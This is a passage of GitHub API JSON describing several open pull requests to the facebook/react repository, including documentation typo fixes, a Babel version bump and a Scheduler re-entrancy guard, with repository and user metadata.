"has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35443" }, "html": { "href": "https://github.com/facebook/react/pull/35443" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35443" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35443/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35443/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35443/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/0cd558a9508f1ce37c586c850831cf022b642b2a" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35442", "id": 3144631509, "node_id": "PR_kwDOAJy2Ks67b0TV", "number": 35442, "state": "open", "locked": false, "title": "Fix quotes in README example for consistency", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\nThis change standardizes string usage by replacing double quotes with single quotes for consistency with the existing code style.\r\n\r\nNo functional behavior is changed.\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\n", "created_at": "2026-01-04T18:16:35Z", "updated_at": "2026-01-04T19:11:43Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "543f4544f08c3dcbde17e2c5c79d5819341ba1d3", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "monokkai:patch-1", "ref": "patch-1", "sha": "df1857e17ad28fa710b2bd7d4d5710d7cdb27e69", "user": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127856387, "node_id": "R_kgDOQzm5Aw", "name": "react", "full_name": "monokkai/react", "private": false, "owner": { "login": "monokkai", "id": 172206214, "node_id": "U_kgDOCkOohg", "avatar_url": "https://avatars.githubusercontent.com/u/172206214?v=4", "gravatar_id": "", "url": "https://api.github.com/users/monokkai", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/monokkai/react", "created_at": "2026-01-04T18:15:30Z", "updated_at": "2026-01-16T19:39:17Z", "pushed_at": "2026-01-11T11:17:00Z", "homepage": "https://react.dev", "size": 881071, "stargazers_count": 1, "watchers_count": 1, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 1, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35442" }, "html": { "href": "https://github.com/facebook/react/pull/35442" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35442" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35442/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35442/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35442/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/df1857e17ad28fa710b2bd7d4d5710d7cdb27e69" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35441", "id": 3144336861, "node_id": "PR_kwDOAJy2Ks67asXd", "number": 35441, "state": "open", "locked": false, "title": "react-reconciler: warn on removed flushSync API for custom renderers", "user": { "login": "Dhanushkumarreddy0204", "id": 156655062, "node_id": "U_kgDOCVZd1g", "avatar_url": "https://avatars.githubusercontent.com/u/156655062?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Dhanushkumarreddy0204", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "This PR adds a development-time warning for custom renderers that still access\r\nthe removed reconciler.flushSync API.\r\n\r\nThe change improves developer feedback by surfacing a clear error message and\r\nproviding the recommended replacement APIs.\r\n\r\nNo production behavior is affected.\r\n", "created_at": "2026-01-04T10:53:55Z", "updated_at": "2026-01-05T07:19:09Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "03b2b768f5947a55549fe1a9aee3f205ed3ab18b", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "Dhanushkumarreddy0204:main", "ref": "main", "sha": "6cb1fe326c32e50da28f3589df8ca79b4da18469", "user": { "login": "Dhanushkumarreddy0204", "id": 156655062, "node_id": "U_kgDOCVZd1g", "avatar_url": "https://avatars.githubusercontent.com/u/156655062?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Dhanushkumarreddy0204", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127642292, "node_id": "R_kgDOQzZ0tA", "name": "react", "full_name": "Dhanushkumarreddy0204/react", "private": false, "owner": { "login": "Dhanushkumarreddy0204", "id": 156655062, "node_id": "U_kgDOCVZd1g", "avatar_url": "https://avatars.githubusercontent.com/u/156655062?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Dhanushkumarreddy0204", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/Dhanushkumarreddy0204/react", "created_at": "2026-01-04T10:03:18Z", "updated_at": "2026-01-04T10:28:49Z", "pushed_at": "2026-01-04T10:28:34Z", "homepage": "https://react.dev", "size": 123764, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35441" }, "html": { "href": "https://github.com/facebook/react/pull/35441" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35441" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35441/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35441/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35441/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/6cb1fe326c32e50da28f3589df8ca79b4da18469" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35440", "id": 3143570634, "node_id": "PR_kwDOAJy2Ks67XxTK", "number": 35440, "state": "open", "locked": false, "title": "chore(deps): bump babel core to resolve CI inconsistencies", "user": { "login": "RinZ27", "id": 222222878, "node_id": "U_kgDODT7aHg", "avatar_url": "https://avatars.githubusercontent.com/u/222222878?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RinZ27", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "I've been seeing some weird inconsistencies in our CI runs lately, mostly related to how certain regex patterns are being handled during transpilation. The current Babel 7.11 setup is quite dated and seems to be the bottleneck here.\n\nUpdating the core Babel packages to 7.26 seems to stabilize things and silence those annoying warnings. It's high time we moved off these older versions anyway to keep the build pipeline healthy. No changes to the actual React logic, just keeping the house clean.", "created_at": "2026-01-03T14:47:00Z", "updated_at": "2026-01-12T09:05:12Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "f63fafc1c8c17abab2618a8236bc83556dffa692", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "RinZ27:chore/babel-upgrade-optimization", "ref": "chore/babel-upgrade-optimization", "sha": "52c8dcf3a2ff94d87034b89df66b9d5be01b05be", "user": { "login": "RinZ27", "id": 222222878, "node_id": "U_kgDODT7aHg", "avatar_url": "https://avatars.githubusercontent.com/u/222222878?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RinZ27", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127272620, "node_id": "R_kgDOQzDQrA", "name": "react", "full_name": "RinZ27/react", "private": false, "owner": { "login": "RinZ27", "id": 222222878, "node_id": "U_kgDODT7aHg", "avatar_url": "https://avatars.githubusercontent.com/u/222222878?v=4", "gravatar_id": "", "url": "https://api.github.com/users/RinZ27", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/RinZ27/react", "created_at": "2026-01-03T14:46:27Z", "updated_at": "2026-01-03T14:46:27Z", "pushed_at": "2026-01-12T09:02:22Z", "homepage": "https://react.dev", "size": 881064, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "5aec1b2a8d1bcafb43a7ddb64dc37eacad081bea", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35440" }, "html": { "href": "https://github.com/facebook/react/pull/35440" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35440" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35440/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35440/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35440/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/52c8dcf3a2ff94d87034b89df66b9d5be01b05be" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35439", "id": 3143556258, "node_id": "PR_kwDOAJy2Ks67Xtyi", "number": 35439, "state": "open", "locked": false, "title": "Fix typos in the documentation", "user": { "login": "rahul24salunke", "id": 137675576, "node_id": "U_kgDOCDTDOA", "avatar_url": "https://avatars.githubusercontent.com/u/137675576?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rahul24salunke", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "\r\n\r\n## Summary\r\n\r\n\r\nSo in this PR the typo mistakes in the docs are corrected such as the \r\n1. **Ie** it should be **\"i.e\"**.\r\n2. **errros** should be the **\"errors\"**.\r\n3. **consdier** should be the **\"consider\"**.\r\n4. **CreatFrom** should be **\"CreateForm\"**.\r\n\r\n\r\n## How did you test this change?\r\n\r\n\r\nI verified the fixes by reviewing the updated files locally to ensure the corrected terms appear consistently and accurately in the documentation.", "created_at": "2026-01-03T14:21:14Z", "updated_at": "2026-01-28T08:20:17Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "af4a8870dcb579e9ee991c2a61dbb508556792bc", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "rahul24salunke:fix/typo-error", "ref": "fix/typo-error", "sha": "2f1cc13041c65b8fb42793b378b2180b9dbf26c6", "user": { "login": "rahul24salunke", "id": 137675576, "node_id": "U_kgDOCDTDOA", "avatar_url": "https://avatars.githubusercontent.com/u/137675576?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rahul24salunke", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1127251347, "node_id": "R_kgDOQzB9kw", "name": "react", "full_name": "rahul24salunke/react", "private": false, "owner": { "login": "rahul24salunke", "id": 137675576, "node_id": "U_kgDOCDTDOA", "avatar_url": "https://avatars.githubusercontent.com/u/137675576?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rahul24salunke", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/rahul24salunke/react", "created_at": "2026-01-03T13:57:00Z", "updated_at": "2026-01-03T13:57:00Z", "pushed_at": "2026-01-28T08:20:15Z", "homepage": "https://react.dev", "size": 125199, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "e66ef6480ecd19c6885f2c06dec34fec1fdc0a98", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35439" }, "html": { "href": "https://github.com/facebook/react/pull/35439" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35439" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35439/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35439/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35439/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/2f1cc13041c65b8fb42793b378b2180b9dbf26c6" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35437", "id": 3142765627, "node_id": "PR_kwDOAJy2Ks67Usw7", "number": 35437, "state": "open", "locked": false, "title": "Fix: Guard against re-entry in Scheduler (Issue #17355)", "user": { "login": "biplavbarua", "id": 90949688, "node_id": "MDQ6VXNlcjkwOTQ5Njg4", "avatar_url": "https://avatars.githubusercontent.com/u/90949688?v=4", "gravatar_id": "", "url": "https://api.github.com/users/biplavbarua", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Fixes #17355. This PR adds a re-entrancy guard to `performWorkUntilDeadline` in the Scheduler. This addresses an issue observed in Firefox where `MessageChannel` events may fire recursively when the main thread is paused (e.g. by `alert()` or breakpoints), causing the 'Should not already be working' invariant violation. Verified by running Scheduler tests (`yarn test scheduler`).", "created_at": "2026-01-02T19:33:23Z", "updated_at": "2026-01-03T08:17:19Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "31438a8f627850208f48b09aa0b53c88d6651cbd", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "biplavbarua:fix/17355-scheduler-reentrancy", "ref": "fix/17355-scheduler-reentrancy", "sha": "30335d9588c1ae5bb1cbd973b0d378ac1c445539", "user": { "login": "biplavbarua", "id": 90949688, "node_id": "MDQ6VXNlcjkwOTQ5Njg4", "avatar_url": "https://avatars.githubusercontent.com/u/90949688?v=4", "gravatar_id": "", "url": "https://api.github.com/users/biplavbarua", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1126901293, "node_id": "R_kgDOQysmLQ", "name": "react", "full_name": "biplavbarua/react", "private": false, "owner": { "login": "biplavbarua", "id": 90949688, "node_id": "MDQ6VXNlcjkwOTQ5Njg4", "avatar_url": "https://avatars.githubusercontent.com/u/90949688?v=4", "gravatar_id": "", "url": "https://api.github.com/users/biplavbarua", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/biplavbarua/react", "created_at": "2026-01-02T19:32:59Z", "updated_at": "2026-01-02T19:32:59Z", "pushed_at": "2026-01-02T19:33:11Z", "homepage": "https://react.dev", "size": 881045, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "65eec428c40d542d4d5a9c1af5c3f406aecf3440", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35437" }, "html": { "href": "https://github.com/facebook/react/pull/35437" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35437" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35437/comments" }, "review_comments": { "href": 